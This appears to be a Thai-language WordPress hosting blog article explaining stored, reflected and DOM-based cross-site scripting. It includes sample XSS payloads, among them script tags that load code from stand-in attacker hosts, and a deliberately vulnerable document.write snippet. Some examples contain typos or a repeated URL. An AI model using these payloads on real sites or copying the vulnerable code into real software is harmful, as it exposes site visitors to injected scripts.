ประเภทของการโจมตีแบบ Cross-Site Scripting (XSS)
เผยแพร่แล้ว: 2022-11-04ในบทความก่อนหน้านี้ของเราเกี่ยวกับ WordPress และ Cross-Site Scripting เราได้เห็นภาพรวมของการโจมตีประเภทต่างๆ และวิธีที่คุณสามารถป้องกันได้ ในบทความนี้ เราจะลงลึกในรายละเอียดบางอย่างพร้อมกับตัวอย่างการเขียนสคริปต์ข้ามไซต์ ไปกันเถอะ!
XSS ถาวร
XSS ถาวร (หรือ XSS ที่เก็บไว้) เป็นหนึ่งในประเภทหลักของการเขียนสคริปต์ข้ามไซต์ เรียกว่าถาวรเพราะสิ่งที่ผู้โจมตีฉีดจะถูกเก็บไว้บนเซิร์ฟเวอร์อย่างถาวรเพื่อใช้ในภายหลัง เมื่อใดก็ตามที่ผู้เยี่ยมชมไปที่หน้าใดหน้าหนึ่ง โค้ดจะถูกเรียกใช้โดยเบราว์เซอร์ขณะโหลดหรือเมื่อมีการเรียกใช้ฟังก์ชันเฉพาะ
ตัวอย่าง XSS ถาวร :
สมมติว่าในส่วนความคิดเห็นใต้โพสต์ มีคนป้อนสคริปต์แจ้งเตือนพร้อมกับคำตอบ/ความคิดเห็นง่ายๆ
Great solution! It works for me.<script>alert("Some text message")</script>
หากส่วนความคิดเห็นมีช่องโหว่และความคิดเห็นที่ส่งไม่ได้รับการดูแล รหัสนี้จะถูกบันทึกไว้ในฐานข้อมูล ดังนั้น ตั้งแต่นั้นมา เมื่อใดก็ตามที่เพจถูกโหลด (โดยใครก็ตาม) และเห็น "ความคิดเห็นที่ไม่ดี" พร้อมกับความคิดเห็นทั้งหมด หน้าต่างป๊อปอัปจะปรากฏขึ้นพร้อมข้อความ
แน่นอน ข้อความเตือนอาจสร้างความรำคาญแต่ไม่เป็นอันตรายจริงๆ แต่จะเกิดอะไรขึ้นหากผู้โจมตีแทรกสคริปต์ที่เป็นอันตรายแทนข้อความแจ้งเตือนในลักษณะนี้:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
แทนที่จะเป็นป๊อปอัปที่น่ารำคาญ ผู้ใช้จะได้รับประสบการณ์การโจมตี XSS ความเสียหายจะขึ้นอยู่กับชนิดของโค้ดที่เรียกใช้ นั่นเป็นเหตุผลว่าทำไมการโจมตี XSS ที่เก็บไว้จึงถือว่าอันตรายมาก พวกเขาโจมตีผู้ใช้ทุกคนและไม่ต้องการข้อมูลจากผู้ใช้ด้วยซ้ำ (แถบเปิดหน้าตั้งแต่แรก)
XSS ที่ไม่ถาวร
แม้ว่าจะไม่เป็นอันตรายเท่ากับ XSS แบบถาวร แต่ XSS ที่ไม่คงอยู่ (หรือแบบสะท้อนแสง) ยังคงเป็นปัญหาไม่น้อย เนื่องจากพวกมันได้รับการยอมรับว่าเป็นประเภทการโจมตีแบบสคริปต์ข้ามไซต์ที่พบได้บ่อยที่สุด
โดยพื้นฐานแล้ว สิ่งที่เกิดขึ้นในการโจมตี XSS แบบไม่ต่อเนื่องคือการที่ผู้ใช้ปลายทางคลิกลิงก์ที่เป็นอันตรายซึ่งจะส่งพวกเขาไปยังเว็บไซต์อื่นซึ่งจะทำให้เกิดการดำเนินการโค้ดที่ไม่ถูกต้อง การโจมตีทำผ่านพารามิเตอร์ URL หรือ HTTP ที่สร้างขึ้นและไม่ได้บันทึกอย่างถาวรในฐานข้อมูลเหมือนใน Persistent XSS
แต่ก่อนที่จะทำการโจมตีแบบไม่ต่อเนื่อง ผู้โจมตีจะต้องระบุว่าเว็บไซต์มีความเสี่ยงต่อการโจมตี XSS หรือไม่ วิธีหนึ่งในการทำเช่นนี้คือการใช้เครื่องมือค้นหาภายในของเว็บไซต์ หากคุณป้อนสตริง สมมติว่า "รองเท้า" เพื่อค้นหาและกดปุ่ม ฟังก์ชันจะทำงานในลักษณะนี้:
http://exampledomain.com?query=shoes
ก่อนที่ฟังก์ชันจะทำงาน สตริงที่คุณป้อนได้รับการฆ่าเชื้อหรืออย่างน้อยควรเป็น เพื่อให้แบบฟอร์มการค้นหาปลอดภัยจากอินพุตที่เป็นอันตราย
ผู้โจมตีสามารถใช้แบบฟอร์มการค้นหาและพยายามป้อนสคริปต์ดังนี้:
<script type="text/javascript">alert("vulnerable");</script>
หากแบบฟอร์มไม่ผ่านการฆ่าเชื้อ แบบฟอร์มจะทำงานตามปกติ:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
สิ่งนี้ (ในตัวอย่างนี้) จะส่งผลให้ป๊อปอัปแจ้งเตือนแสดงขึ้น นี่คือตอนที่ผู้โจมตีรู้ว่าแบบฟอร์มการค้นหามีช่องโหว่ XSS
ตัวอย่าง XSS ที่ไม่คงอยู่
ในกรณีที่พบช่องโหว่บนไซต์ ผู้โจมตีอาจเลือกสร้าง URL ที่มีลักษณะดังนี้:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
จากนั้นพวกเขาจะ 'ปกปิด' URL เพื่อไม่ให้ดูเหมือนลิงก์ที่ 'ไม่ดี' และพยายามสนับสนุนให้ผู้อื่นคลิกที่นี่ โดยปกติแล้ว นี่อาจเป็นการส่งอีเมลสแปมหรืออาจใส่ลิงก์ในฟอรัม
XSS ตาม DOM
ระหว่างเหตุการณ์ XSS ที่ใช้ DOM (หรือ XSS ฝั่งไคลเอ็นต์) การโจมตีจะถูกส่งผ่าน URL ที่มีรหัสที่เป็นอันตราย
นอกจากนี้ยังถือเป็นช่องโหว่ฝั่งไคลเอ็นต์เนื่องจากดำเนินการในเบราว์เซอร์ของเหยื่อ แต่สิ่งที่เกิดขึ้นที่นี่คือส่วนหนึ่งของ DOM มีการเปลี่ยนแปลง ซึ่งทำให้ไคลเอ็นต์เรียกใช้โค้ดโดยไม่ได้รับความยินยอมจากพวกเขา
หมายเหตุ: Document Object Model (DOM) เป็นอินเทอร์เฟซที่กำหนดโครงสร้างเลย์เอาต์ของเว็บเพจโดยเชื่อมต่อภาษาสคริปต์กับเว็บเพจจริง เพื่อให้บรรลุเป้าหมายนี้ นักพัฒนาสามารถเข้าถึงเอกสารและดำเนินการเพื่ออัปเดตเนื้อหา
ตัวอย่าง XSS ที่ใช้ DOM:
ตัวอย่างของการโจมตีด้วยสคริปต์ข้ามไซต์ที่ใช้ DOM สามารถแสดงได้ด้วยแบบฟอร์มที่ให้คุณเลือกตัวเลือก เช่น ประเทศที่คุณพำนัก มาดูกันว่าสิ่งนี้จะเป็นอย่างไรกับตัวอย่างด้านล่าง:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
ดังนั้น หน้าที่มีตัวเลือกที่เลือกในแบบฟอร์มจึงสามารถเข้าถึงได้ผ่าน URL เช่น:
http://localhost/?country=Lithuania
แต่ถ้าคุณลองใช้รายการแบบนี้ (ดูด้านล่าง) เบราว์เซอร์จะสร้างวัตถุ DOM ที่มีสตริงนั้นและเรียกใช้สคริปต์
http://localhost/?country=Lithuania
ที่เกิดขึ้นเนื่องจากแบบฟอร์มไม่มีการป้องกันและรหัสเริ่มต้นไม่พร้อมสำหรับมาร์กอัป HTML ใดๆ สิ่งที่จะทำคือดึง DOM เข้ามาในหน้าและเรียกใช้สคริปต์ที่เป็นอันตราย
การโจมตี XSS นั้นเป็นเรื่องธรรมดาเกินไป วิธีง่ายๆ ในการป้องกันตัวเองให้ดีที่สุดเท่าที่จะทำได้คือการปรับปรุงปลั๊กอินบนเว็บไซต์ WordPress ของคุณให้ทันสมัยอยู่เสมอและใช้โฮสต์คุณภาพสูง เราหวังว่าตัวอย่างเหล่านี้จะช่วยให้คุณได้ทราบว่าการโจมตีประเภทนี้ทำงานอย่างไรและควรระวังอะไรบ้าง!